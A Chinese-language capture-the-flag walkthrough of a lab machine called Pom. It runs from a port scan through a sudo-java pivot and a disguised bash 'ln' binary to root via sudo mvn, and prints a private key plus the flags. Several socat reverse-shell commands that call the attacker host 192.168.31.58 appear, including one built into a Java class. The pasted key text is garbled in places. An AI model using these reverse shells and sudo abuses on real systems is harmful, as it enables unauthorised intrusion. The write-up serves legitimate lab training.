

```

1 rustscan -a 192.168.31.135 --ulimit 5000 -- -sv -sc
2 .....
3 | {} }| { } |{ {__ {__ }{ {__ / __} / {} \ | `| |
4 | .- \ | {__ |.-.} } | | .-.-} \ } / /\ \ | \ |
5 `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-'
6 The Modern Day Port Scanner.
7
8 : http://discord.skerritt.blog :
9 : https://github.com/RustScan/RustScan :
10 -----
11 Real hackers hack time 🕒
12
13 [~] The config file is expected to be at "C:\\Users\\Administrator\\.rustscan.toml"
14 Open 192.168.31.135:22
15 Open 192.168.31.135:80
16 open 192.168.31.135:55555
17 [~] Starting Script(s)
18 [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sv -sc" on ip
19 192.168.31.135
20 Depending on the complexity of the script, results may take some time to appear.
21 [~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-01 17:47 +0800
22 NSE: Loaded 158 scripts for scanning.
23 NSE: Script Pre-scanning.
24 NSE: Starting runlevel 1 (of 3) scan.
25 Initiating NSE at 17:47
26 Completed NSE at 17:47, 0.01s elapsed
27 NSE: Starting runlevel 2 (of 3) scan.
28 Initiating NSE at 17:47
29 Completed NSE at 17:47, 0.00s elapsed
30 NSE: Starting runlevel 3 (of 3) scan.
31 Initiating NSE at 17:47
32 Completed NSE at 17:47, 0.00s elapsed
33 Initiating ARP Ping Scan at 17:47
34 Scanning 192.168.31.135 [1 port]
35 Completed ARP Ping Scan at 17:47, 1.42s elapsed (1 total hosts)
36 Nmap scan report for 192.168.31.135 [host down, received no-response]
37 NSE: Script Post-scanning.
38 NSE: Starting runlevel 1 (of 3) scan.
39 Initiating NSE at 17:47
40 Completed NSE at 17:47, 0.00s elapsed
41 NSE: Starting runlevel 2 (of 3) scan.
42 Initiating NSE at 17:47
43 Completed NSE at 17:47, 0.00s elapsed
44 NSE: Starting runlevel 3 (of 3) scan.
45 Initiating NSE at 17:47

```

```
45 Completed NSE at 17:47, 0.00s elapsed
46 Read data files from: D:\Nmap
47 Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
48 Nmap done: 1 IP address (0 hosts up) scanned in 2.26 seconds
49 Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
```

55555 端口是直接暴露的 TLS shell, 已经以 mav1234 用户身份登录

```
1 └─(root@kali)-[~]
2 └─# openssl s_client -quiet -connect $IP:55555 2>/dev/null
3 sh-5.2$ id
4 id
5 uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
6 sh-5.2$ ls
7 ls
8 journal  user.txt
9 sh-5.2$ cat user.txt
10 cat user.txt
11 flag{user-f823e147843dd5b23f0ac9d243ae12fb}
12 sh-5.2$
```

横向移动到 qc2000

读取当前目录下的另一个文件

```
1 sh-5.2$ cat journal
2 I've encrypted my secret with my key. No one else can read it now. It's safely hidden away:)
```

检查 SUID 文件

```
1 sh-5.2$ find / -perm -4000 -o -perm -2000 2>/dev/null
2 /home/mav1234/.local
3 /bin/bbsuid
4 /usr/bin/expiry
5 /usr/bin/chsh
6 /usr/bin/chage
7 /usr/bin/passwd
8 /usr/bin/gpasswd
9 /usr/bin/sudo
10 /usr/bin/chfn
11 /usr/sbin/unix_chkpwd
```

```
12 /usr/sbin/suexec
13 /var/lib/caddy
14 /var/log/apache2
```

发现隐藏文件夹 `/home/mav1234/.local`

```
1 sh-5.2$ ls -la
2 total 20
3 drwxr-sr-x  2 mav1234  mav1234    4096 Feb 26 15:48 .
4 drwx----- 4 mav1234  mav1234    4096 May  1 21:25 ..
5 -rw-r--r--  1 mav1234  mav1234    512 Feb 26 15:48 maven.meta
6 -rw-----  1 mav1234  mav1234   5285 Feb 26 15:20 ssl.pem
```

journal 说用 key 加密了 secret, 推测 `ssl.pem` 是解密 `maven.meta` 的 key

```
1 sh-5.2$ cat /home/mav1234/.local/ssl.pem
2 -----BEGIN PRIVATE KEY-----
3 MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwggkoAgEAAoICAQDylEQQuAPSo6Y
4 TE1EnKXXIQ6utctm6EVM7AZKMb8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkx
5 GTU9JQhc4Zk5KPYgrQMwplVzj8vqm5b3Vr8/3K7pAeUw9b2cB6deg28AQBviUEMJ
6 M1ZhmfiInZh7reBx5GI+6HvRVlD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEynp99a
7 XQVoTgmPfVUOP8IejpBADA/YD/1JMqiU0yx1Vg48pNancItvPDJ63PuueXHXReTF
8 47E+ly0uC1GPZJivfmQRY6M+Raws10gc12xEpbybU+ZKwXdXlBoESHf1HEFYaSLt
9 /Asvhus+U6A1S8owzcJDPMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMn
10 rGu6nju0260ewvcyl7qZZ/YEbgunMS643fkxadG9P323ZE4BmKevLA3b062Vmjd
11 OAmvPTKfw2GY6AY1XdIP9EHSePaTA1KgXaowUBYbk+gnOFUWwjI6ngWLUQjO+nCi
12 nmjlgG/URYHPiYbDYTBVPS2aQ18tYPKlCdoQNVWEhIYYKrokpfr3WHANuAysJfp5
13 OmCGz9p5EOTU0o0l0LSqC42zck1ewT/qLDppvJrrqxCs/x1k2Sp1kQx50ohnkwr0
14 MtanDFqm1HJDfnSGliHMGYSliYwgDWIDAQABAOICAefsc84nKsid229uvt7f7xdy
15 LK9COV92ig2JIUHIPZHIPU0ZSL4ZTzNCRS2NSFUJxcgFIqu4ShJva9tkXvOVEkiv
16 nsVizq68p3h5rzSPPO9ggmctMiEWJknxhOhs1F35qvcL0xJo75uHHokQzPCcxWW/
17 tyEcaYp7I2HxfhyQEgWnhjSUQmxSZc7hr7gbv4VmTgtEyL1Xvps9ZayeHedRmI6y
18 Hqgt4Tk8HbKFFwGBPCBaw77HWJ9nb2uVMANx1fXSDEl/UaPmYA1qsky3mKqtGfkn
19 4/026MKSKcs6FoF1GNpTtE7Q1En6Ndr76LDLcb3IUaxtjBuBWCKFCZTMAOkDfrgX
20 udJXhZv2gB/G/GngemkHso0+KVDumNi1A9M2mCH1kZndQxb+EJreCIILnex0+7/B
21 f2JG2SMZdIwB0Rqr5rgvyNNnte+H7Pk/2CshKoxJQdcuCYAigVOWuDE3GJboDzY
22 rqKB4mpM3jgrXzCEksIKLibodntGY8lZ1lxZ5nvF5zAjwASKEI+9heo5k5wx9ua1
23 L/C0jca+zB1fh7P05JkPj+Lf53n0+xvthNAN0G4IoBRRknxQhK+mh0fq/gE4F31E
24 RwZZ2PKRciVlaIH7XPPg9FSJEqn7xwiKzwoOCeXdkN/dDatY38UBQToTU3xQbmMh
25 zpy9hbFJx6BI5/QtyzMZAoIBAQD9oHjRsSTOen3NoAkkD/SKbsk73wsNsQWicXia
26 1JbTlutoHPgrODA+nk6Kn//1VDBq1Bf1v1qJeEWRMn5z4ACKpDTZcm42SsaFS/Hl
27 ONK16Q0JYZ+XRJqBz/c776j0omSKqtKOQvfxP2u6BQQAMG3J79odo69yrjHGWnCE
28 Lx+PGHVJ62loOMFW8Nxq7l8qqAX0jTX/Jfoa4AimHPNDD1fuPwLzoe1s1CFmvi ri
29 nCDzGRdkaw6Z22DiKMxcPMR8s6IKKYz9yhy3JbZqxVcjKOGFmLQz2krZ/XD0xa4P
30 m4+/VMTxrXbrQhZ5KAonoKHxksuHk562Le0t3a5wfIbMTW1AoIBAQD02VSq+ka6
31 yIZuRA1112l+j010xgcWfs7Cj73cIAX9C10wPmIGqvqrw9Dy5NQCznJw1S5f4fu+
32 STY87KIm9vkV/U+8BkrXfTWxyahHV581HwxNHci7YkusMZhzjrqi43J1Q914+pk97
```

```
33 8nLGS1pe2wL4bnKONTUEDpd0qychaKVoSj2MsvTj1M/cxb84AihZ+2P3x9GCWu8L
34 n01zGMg4ZEgenuPl1jYyti2hvKdMitnYAepw7jXJAPUKO57PVwoiBtIF3xF8iq4u
35 iVdeCk8BGIIItThpgd5WSS9g27DjM7+ILsCqIOWT3Pzs1Dm8kScBqXBwpjsZyecJ0
36 LWArS0wOWNkzAoIBAQDcoaNYruQY5n/Xx7cL8wFFBi8PkTj5YRwyFgAS7QqD6E7C
37 lCjjXEkLwAUNHKC6FtHdRntZFjw5SDIkXCuau6tc7/m1i5EkK8PcozM7t1d1SV21
38 PgJpWdkyweon7q8oPj/GTVdiy6j0S4x4FvLjAz40pCM3E3SFUUDtjc0GK8Q1ZB5r
39 /mkErBKsgf0M3G5XGjGMCueFHNfUXb3IW3jWx1s0uwxjUN9Rt7uSuC1wU9FM6G/r
40 /rejCi9erh9pkMAIXu9YLcsj35VZUwo9uYvS3zZIVI22adghiBKBHYAMvcOVqptO
41 D+1DnmK78DPdQyRm9TdLyoQPcsZZdvW48L0XHaTdAoIBAB8ckhTbXfdHmUUTYfxw
42 FXJenOI8ckCs9gpkhyQb8YbYVcvwcVAVk2oVpEvoZU0zp+1hpHqPOXgGYMeMfAv
43 ezCfEe17AmFFHnheRyphaLowKewI/kNI1v9JS+qGetgst9RcqVber+nAwXKoinn4
44 6+Sy691D/EbarvJXemsJdMRC8axymPUW2DNjI1KRORB+8601drxQORCJM4UXQRF
45 QaCaYayHTjwdTiJ5tZvoG7PFcof/F1hmxbu6HZCmp53xLehPEoK3gDARhs10tAEY
46 oxmsjc9qAlgnSN6ZnxHy/M6tYIoHr512sEgqgFa1BEy/TVi+NX9gFyP5y/1UROKh
47 yV8CggEAVbD0wfhaubtIUaoqrgv3fL8D53a01D0mewjmwN7q5K/qja/q0XQJzSV
48 L1qkScz8fFr2a9ejiEjFQiWpJMEPyg3oCI/6gDk2iHNSD8HCLcuBToe4be86vmGL
49 28qWz+oYMJ3u1pCL3Vnm97v6awVG8T1GHfdTLbuZonvh/09qj0/Z1inj96NSGxx9
50 t5NscTbQnuWtWlgMmC+VBNvmqwg40xAeB0pyrrkey72C0pjz33TAM/UMVEzaq7j0
51 7y4w1VxN0woUfwRirq+0uVEXcvfP5xa9U9YQfo6DANrj2pEsunZVZ0W0iqzUMBHm
52 THuInoEMB4vEAtmZ7uFtRkDCDCOPiw==
53 -----END PRIVATE KEY-----
54 -----BEGIN CERTIFICATE-----
55 MIIFoTCCA4mgAwIBAgIUvLyuh/15EdN2c47Y0L//ePA07GYwDQYJKoZIhvcNAQEL
56 BQAWYDELMAkGA1UEBhMCVVMxZjAMBGNVBAgMBVN0YXR1MQ0wCwYDVQQHDARDaXR5
57 MQ4wDAYDVQQKDAVNyXZ1bjEOMAwGA1UECwwFUHJveHkxZjAQBGNVBAMMCWxvY2Fs
58 ag9zdDAeFw0YnJyYmJyYWNzIWNhdG90ZnJyYmJyYWNzIWNhdG90ZnJyYmJyYWNz
59 A1VTMQ4wDAYDVQQIDAvtDGF0ZTENMA5GA1UEBwwEQ210eTEOMAwGA1UECgWFTWF2
60 ZW4xdjAMBGNVBASMBVByb3h5M5RIWEAYDVQQDDA1sb2NhbGhvc3QwggIiMA0GCSqG
61 SIb3DQEBAQUAA4ICDWAwwgIKAoICAQDy1EQQU5APSo6YTE1EnKxxIQ6utctm6EVM
62 sh-5.2$ cat ssl.pem
63 -----BEGIN PRIVATE KEY-----
64 MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQDy1EQQU5APSo6Y
65 TE1EnKxxIQ6utctm6EVM7AZKMB8FpkRymjIwHXnchsIClpxVnone92ZP8APFhkx
66 GTU9JQhc4Zk5KPYGRQMwplVzj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQbviUEMJ
67 M1ZhmFi1nZh7reBx5GI+6HvRV1D5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEYnp99a
68 XQVoTGmPfVUOP8IejpBaDA/YD/1JmquiOyx1Vg48pNancItvPDJ63PuueXHXRETF
69 47E+1y0uC1GPZJivfmQRY6M+Raws10gc12xEpbybu+ZKwXdXLbOESHf1HEFYaSLt
70 /Asvhus+U6A1S8OWzcJDPmaa+Na41ks40ThhIbL5gpNNvLAVnGqSrN/XdQxxEqMn
71 rGu6nju0260ewvcyl7qZZ/YEbgunMs643fkxadG9P323ZE4BmKevLA3b062vmjd
72 0AmvPTKfW2GY6AY1xdIP9EHSePaTA1KgXaowUBybK+gnOFUWwjI6ngWLUQj0+nCi
73 nmjlgG/URYHPIybdYTBvPS2aQ18tYPK1CdoQNVwEhIYYKrokpfr3WHANuAysJfp5
74 OmGz9p5EOTU0o010LSqC42zck1ewT/qLDppvJrrqCS/x1k2Sp1kQx50ohnkwr0
75 MtaNDFqm1HJdfnSGliHMGYSliYwgDWIDAQABAoICAefsc84nKsid229uvt7f7xdy
76 LK9COV92ig2JiUHIPZHIPU0ZSL4ZTZNCRS2NSFUJxcgFIqu4ShJvA9tkXVOVEkiv
77 nsVizq68p3h5rzSPP09ggmctMiEWJknxhOHS1F35qvcL0xJo75uHHokZqpCcxwW/
78 tyEcaYp7I2HxfhyQEgwnHjsUQmxSzC7hr7gbv4VmTgtEyL1Xvps9ZayeHedRmI6y
79 Hqgt4Tk8HbKFFwGBpCBaw77HWJ9nB2uvmANx1fxSDE1/UaPmYAlqsky3mKqtGfkn
80 4/026MKSks6FoF1GNpTtE7Q1En6Ndr76LDLcb3IUaxtjBuBWCKFcZTMAOkDfrgX
81 udjXhZv2gB/G/GngemkHso+KVDumNi1a9M2mCH1kZndQxb+EJreCIInexo+7/B
82 f2JG2SMzdIwB08Rqr5rGvynNNte+H7Pk/2CshK0XJQdcuCYAigVOWuDE3GJbodZY
83 rqKB4mpM3jgrXzCEksIKLibodntGY81Z11xz5nvF5zAjwASKEI+9heo5k5wx9ua1
84 L/C0jca+zB1fh7P05JkPj+Lf53n0+xvthNAN0G4IoBRrkxQhK+mh0fq/ge4F31E
85 RwZZ2PKRciV1aIH7XPPg9FSJEqn7xwiKzwoOCexdKN/dDatY38UBqToTU3xQbmMh
```

```
86 zpy9hbFJx6BI5/QtyzMZAoIBAqD9oHjRsSTOen3NoAkkD/SKbsk73wsNSQWicXIa
87 1JbTlutoHPgrODA+nk6Kn//1VDBq1Bf1v1qJeEWRMn5z4ACKpDTZcm42SsaFS/Hl
88 ONk16Q0JYZ+XRJqBz/c776j0omSKqtKQvfxP2u6BQQAMG3J79odo69yRjHGWncE
89 Lx+PGHVJ62lOoMFw8Nxq7l8qqAX0jTX/Jfoa4AimHPNDD1fuPwLzoe1s1CFmvi ri
90 ncDzGRdkaw6Z22DiKMxcPMR8s6IKKYz9yhy3JbZqxVcjKOGFmLQz2krZ/XD0xa4P
91 m4+/VMTxrXbrQhZ5KAonoKHxksuHk562Le0t3a5wfIbFMTw1AoIBAqD02VSq+ka6
92 yIZuRA112l+j010xgcWfs7Cj73cIAX9C10wPMIGqvqrw9Dy5NQCznJw1S5f4fu+
93 STY87KIm9vkV/U+8BkRxfTWxYahHV581HwxNHci7YkuSMZhjrqi43J1Q9l4+pk97
94 8nLGS1pe2wL4bnKONTUEDpD0qychAKVoSj2MsvTj1M/cxb84Aihz+2P3x9GCwu8L
95 n01zGmg4ZEgenuPl1jYyti2hvkDmItNyaepw7jXJAPUKO57PVwoiBtIF3xf8iq4u
96 iVdeCk8BGiItThpgd5WSS9g27DjM7+ILsCqIOWT3Pzs1Dm8kScBqXBwpjSZyecJ0
97 LWARs0wOWNkzAoIBAqDcoANyrUqY5n/xx7cL8wFFBi8Pktj5YRwyFgAS7QqD6E7C
98 1cjJxekLwAUNHKC6FtHdRntZFjw5SDIkXCuau6tc7/m1i5Ekk8PcozM7t1d1SV21
99 PgJpWdkyEon7q8oPj/GTVdiy6j0S4x4FvLjAz4OpCM3E3SFUUDtjc0Gk8QlZB5r
100 /mkErBKsgf0M3G5XGjGMCueFHNfUXb3Iw3jwx1s0uwxjUN9Rt7uSuC1wU9FM6G/r
101 /rejCi9erh9pkMAixu9YLcsj35VZUwo9uYvs3zZIVI22adghiBKBHYAMvcovqptO
102 D+1DnmK78DPdQyRm9TdLyOqPCsZZdvW48L0XHaTdAoIBAB8ckhTbXfdHmUUTYfxW
103 FXJEnOI8ckCs9gpkhyQb8YbYVcvwCvAVk2oVpEvoZUO0zp+1hpHqPOXgGYMeMfAv
104 ezCFee17AMFFHnheRyphaLowKEwI/kNI1v9JS+qGetgst9RcqVbeR+nAWXKoInn4
105 6+Sy691D/EbarvJXEmSJmMRC8axymPUW2DNji1KRORB+860ldrxQORCJm4UXQRF
106 QaCaYayHTjwdTij5tZvoG7PFcof/F1hmxbu6HZCMP53xLehPEoK3gDArhs10tAEY
107 oxmsjc9qa1gnSN6ZnxHy/M6tYiohr5l2sEgqgFa1BEy/TVi+NX9gFyP5y/1UROKh
108 yV8CggEAVbD0wFhaubtIUaoqrgv3fL8D53a0lD0mewjmwN7q5K/qja/q0XQJzSV
109 L1qkScZ8fFr2a9ejiEjFqiWpJmEPyg3oCI/6gDk2iHNSD8HCLcuBToe4be86vMGL
110 28qWZ+oYMJ3u1pCL3Vnm97v6awVG8T1GHFDTLBUzonvh/09qjO/Z1inJ96NSGxx9
111 t5NscTBqNuWtwlGmMc+vBNvmqwg40xAeB0pyrrkeY72C0pjz33TAM/UMVEzaq7j0
112 7y4w1vxN0woUfwrirq+0uVEXcvfP5Xa9U9YQfo6DANrj2pEsUnZVZ0W0iqzUMBHm
113 THu1n0eMB4vEAtmZ7uFtRkDCDCOPiw==
114 -----END PRIVATE KEY-----
115 -----BEGIN CERTIFICATE-----
116 MIIFoTCCA4mgAwIBAgIUvLyuh/15EdN2c47Y0L//ePA07GYWDQYJKoZIhvcNAQEL
117 BQAwYDELMAkGA1UEBhMCVVMxZjAMBGNVBAgMBVN0YXR1MQ0wCwYDVQQHDARDaXR5
118 MQ4wDAYDVQQKDAVNyXZlbiEOMAWGA1UECwwFUHJveHkxZjAQBGNVBAMMCWxvY2Fs
119 ag9zdDAeFw0YnJyYmJyYWNzIwNDhFw0ZnJyYmJyYWNzIwNDhAMGACZAJBgNVBAYT
120 A1VTMq4wDAYDVQQIDAvtDGF0ZENMASGA1UEBwwEQ2l0eTEOMAWGA1UECgwFTWF2
121 ZW4xDjAMBGNVBASMBVByb3h5MRiEAYDVQQDDA1sb2NhbgHvc3QwggIiMA0GCSqG
122 SIb3DQEBAQUAA4ICDWAwwgIKAoICAQDylEQQU5APSo6YTE1EnKxxIQ6utctm6EVM
123 7AZKmb8FpkRymjIwHXnchsIClpzxvnone92ZP8APFhkXGTU9JQhc4Zk5KPYgRQmw
124 pLvZj8vqm5b3Vr8/3K7pAeUw9b2cB6deg28AQBviUEMJM1zhmfi1nZh7reBx5GI+
125 6HvRVlD5Xg73zFdvj+JLX9QRLEauWUKIES35wwEynp99axQVoTGMpfvUOP8IejpBa
126 DA/YD/1JMqiUoyxlvG48pNancItvPDJ63PuueHXRetF47E+ly0uClGPZJivfmQR
127 Y6M+Raws10gc12xExpbyu+ZKwxdXLB0ESHf1HEFYaSLt/Asvhus+U6A1S80WzcJD
128 PMaa+Na4lks40ThhIbL5gpNNvLAVngqSrN/XdQxxEqMnrGu6nju0260ewvcyl7qZ
129 Z/YEbgunNms643fkxadG9P323ZE4BmKevLA3b062Vmjd0AmvPTKfw2GY6AY1XdIP
130 9EHSePaTA1KgXaowUByk+gnOFUwwjI6ngWLUqjO+nCinMjlgG/URYHPiYbdYTBV
131 PS2aq18tYPKlCdoQNVehIYYKrokPfr3WHANuAysJfp50mcGz9p5EOTU0o0l0LSq
132 C42zck1ewT/qLDppvJrrqxCS/x1k2Sp1kQx50ohnkwr0MtaNDFqm1HJDfnSGliHM
133 GYS1iYwgDwIDAQABO1MwUTADBgNVHQ4EFgQU9/xnvtfBkd4TGxnNgjODSXXG1tAw
134 HwYDVR0jBBGwFoAU9/xnvtfBkd4TGxnNgjODSXXG1tAwDwYDVR0TAQH/BAUwAwEB
135 /ZANBgkqhkiG9w0BAQsFAAOCAgEAuOVYZ8E3uOVbdNMrUQuGDFP6ZNGvYAmNMP84
136 2QxL8g8r8K5Sno/JHhBf8CkY2BJG15l01/Ic6g56DqzTsQjfmwQAjfnqVwyHwcp9
137 KSj9XdE3V39Q01ZGgICStAW0n3TXAa1jRn+GHcz7SZyTB9jGoqh1aAOrAH6/Rsdf
138 XBSBpesbeMAHhD2oJdM145Bkl3dw8FruNP/Cade8vpPR0AQmshy/2a5m7dcsCK39
```

```

139 JgroLYhPJGFdHi698agn5d1vNwzpfQRmu9Iw6Bk/0w5U8j1FYMZu+fk2rZA06o6
140 96GZumbchDHhsi7Ajoa+RYTEXqbyU9a2KDnm3OZC5R5WQY/d+BVnjRmefPwV8kqa
141 5gJ0FGoyCMiR8PY0dpH9wKm4IwxsQAI0e3S2VuEaI6ceR07Yq/FS31addb+B3UjV
142 pwm7+WDDjSEKXY7jxjqwk7Lq3Rh1bTMDR4fxFvHXLish3vQfDA8xSZrGCraqrWM
143 AzjwR2b2GkKVaUVgMJ/8w1kupoJAjr63JIhzmCz3Ciq9/uwgpLFqHhMn1ooBKToU
144 rWXPT5PXKEFHODfP+uj9NP8aTxrevJ1SCX7e0S6U061J0Zjmk7jY+L6ke5b1kGiV
145 9NysvoozjwwRKzAxR95V8TVCy4gNa5ViLG6FcXQ1hLDDfmFRTfuMrYvTtiqhWVvd
146 Tgrwk04=
147 -----END CERTIFICATE-----

```

`ssl.pem` 里包含私钥和证书，而这个证书的 Subject 和 Issuer 都是 `Maven` / `Proxy`，和 `maven.meta` 文件名呼应



```

1 sh-5.2$ openssl pkeyutl -decrypt -inkey /home/mav1234/.local/ssl.pem -in
  /home/mav1234/.local/maven.meta 2>&1
2 MvxPf8yCB81xXk5A

```

得到 `mav1234` 的密码 `MvxPf8yCB81xXk5A`



```

1 sh-5.2$ sudo -l
2 [sudo] password for mav1234:
3 Matching Defaults entries for mav1234 on Pom:
4
5     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
6
7 Runas and Command-specific defaults for mav1234:
8     Defaults!/usr/sbin/visudo env_keep+= "SUDO_EDITOR EDITOR VISUAL"
9
10 User mav1234 may run the following commands on Pom:
11     (qc2000) PASSWD: /usr/bin/java

```

发现可以用 `sudo -u qc2000 /usr/bin/java` 来以 `qc2000` 用户执行 Java，Java 可以执行系统命令，用它来获得 `qc2000` 的 shell

利用 Java 横向到 `qc2000`，用 socat 做 PTY 反弹 shell



```

1 sh-5.2$ echo 'public class Rev { public static void main(String[] args) throws
  Exception { Process p = Runtime.getRuntime().exec(new String[]{" /bin/sh", "-c", "socat
  tcp:192.168.31.58:4444 exec:/bin/sh,pty,stderr,setsid,sigint,sane"}); p.waitFor(); } }'
  > /tmp/Rev.java
2 sh-5.2$ sudo -u qc2000 /usr/bin/java /tmp/Rev.java

```



```
1  └─(root@kali)-[~]
2  └─# socat file:`tty`,raw,echo=0 tcp-listen:4444
3  sh-5.2$ id
4  uid=1001(qc2000) gid=1001(qc2000) groups=1001(qc2000)
```

横向移动到 terra536



```
1  sh-5.2$ sudo -l
2  Matching Defaults entries for qc2000 on Pom:
3
4      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6  Runas and Command-specific defaults for qc2000:
7      Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
8
9  User qc2000 may run the following commands on Pom:
10     (terra536) NOPASSWD: /home/terra536/ln
```

发现 qc2000 可以以 terra536 身份无密码执行 /home/terra536/ln，先看看这个 ln 是什么：



```
1  sh-5.2$ sudo -u terra536 /home/terra536/ln --help 2>&1
2  GNU bash, version 5.2.37(1)-release-(x86_64-alpine-linux-musl)
3  Usage: /home/terra536/ln [GNU long option] [option] ...
4         /home/terra536/ln [GNU long option] [option] script-file ...
5  GNU long options:
6      --debug
7      --debugger
8      --dump-po-strings
9      --dump-strings
10     --help
11     --init-file
12     --login
13     --noediting
14     --noprofile
15     --norc
16     --posix
17     --pretty-print
18     --rcfile
19     --restricted
20     --verbose
21     --version
22  Shell options:
```



```
23      -ilrsD or -c command or -O shopt_option          (invocation only)
24      -abefhkmnptuvxBCEHPT or -o option
25 Type `/home/terra536/ln -c "help set"' for more information about shell options.
26 Type `/home/terra536/ln -c help' for more information about shell builtin commands.
27 Use the `bashbug' command to report bugs.
28
29 bash home page: <http://www.gnu.org/software/bash>
30 General help using GNU software: <http://www.gnu.org/gethelp/>
```

发现它指向了一个 bash shell 程序，这意味着可以用 `sudo -u terra536 /home/terra536/ln` 执行任意 bash 命令

用 socat 反弹一个 `terra536` 的 shell

```
1 sh-5.2$ sudo -u terra536 /home/terra536/ln -c "socat tcp:192.168.31.58:4445
exec:/bin/sh,pty,stderr,setsid,sigint,sane"
```

```
1 └─(root@kali)-[~]
2 └─# socat file:`tty`,raw,echo=0 tcp-listen:4445
3 sh-5.2$ id
4 uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)
```

提权

```
1 sh-5.2$ sudo -l
2 Matching Defaults entries for terra536 on Pom:
3
4     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6 Runas and Command-specific defaults for terra536:
7     Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
8
9 User terra536 may run the following commands on Pom:
10     (ALL) NOPASSWD: /usr/bin/mvn
```

发现 `terra536` 可以以 `root` 身份无密码执行 `/usr/bin/mvn`，尝试用它提权到 root：



```
1 sh-5.2$ sudo /usr/bin/mvn -q exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'socat
tcp:192.168.31.58:4446 exec:/bin/sh,pty,stderr,setsid,sigint,sane'"
2 [ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.6.3:exec (default-
cli): Goal requires a project to execute but there is no POM in this directory
(/home/mav1234/.local). Please verify you invoked Maven from the correct directory. ->
[Help 1]
3 [ERROR]
4 [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
5 [ERROR] Re-run Maven using the -X switch to enable full debug logging.
6 [ERROR]
7 [ERROR] For more information about the errors and possible solutions, please read the
following articles:
8 [ERROR] [Help 1]
http://cwiki.apache.org/confluence/display/MAVEN/MissingProjectException
```

发现失败了，Maven 需要从有 POM 的目录运行



```
1 sh-5.2$ cd /dev/shm
2 sh-5.2$ cat > pom.xml << 'EOF'
3 <project>
4   <modelVersion>4.0.0</modelVersion>
5   <groupId>exploit</groupId>
6   <artifactId>exploit</artifactId>
7   <version>1</version>
8 </project>
9 EOF
10 sh-5.2$ sudo /usr/bin/mvn -q exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c
'socat tcp:192.168.31.58:4446 exec:/bin/sh,pty,stderr,setsid,sigint,sane'"
```



```
1 └─(root@kali)-[~]
2 └─# socat file:`tty`,raw,echo=0 tcp-listen:4446
3 sh-5.2# id
4 uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),
26(tape),27(video)
5 sh-5.2# cat /root/root.txt
6 flag{root-4a29b2f65b40052a804c0cc4afb906bd}
```